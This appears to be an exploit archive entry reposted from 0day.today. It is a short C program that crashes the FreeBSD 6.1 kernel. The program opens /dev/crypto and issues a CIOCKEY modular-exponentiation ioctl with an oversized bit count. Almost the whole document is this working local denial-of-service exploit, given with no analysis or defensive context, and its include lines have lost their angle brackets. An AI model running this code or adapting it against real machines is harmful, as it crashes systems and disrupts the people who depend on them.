FreeBSD 6.1 (/dev/crypto) Local Kernel Denial of Service Exploit

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FreeBSD 6.1 (/dev/crypto) Local Kernel Denial of Service Exploit
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// Evgeny Legerov (elegerov.blogspot.com)

#include unistd.h
#include sys/types.h
#include stdio.h
#include fcntl.h
#include crypto/cryptodev.h

int main()
{
        int fd2, fd;
        struct crypt_kop kop;

        printf("FreeBSD 6.1 /dev/crypto local kernel DoS\n");

        fd2 = open("/dev/crypto", O_RDWR, 0);
        if (fd2 == -1){
                perror("open");
                exit(-1);
        }

        if (ioctl(fd2, CRIOGET, &fd) == -1) {
                perror("ioctl");
                exit(-1);
        }

        kop.crk_op = CRK_MOD_EXP;
        kop.crk_iparams = 3;
        kop.crk_oparams = 1;
        kop.crk_param[0].crp_nbits = 0x70000000;

        ioctl(fd, CIOCKEY, &kop);

        printf("exploit failed\n");

        return 0;
}



#  0day.today [2018-01-10]  #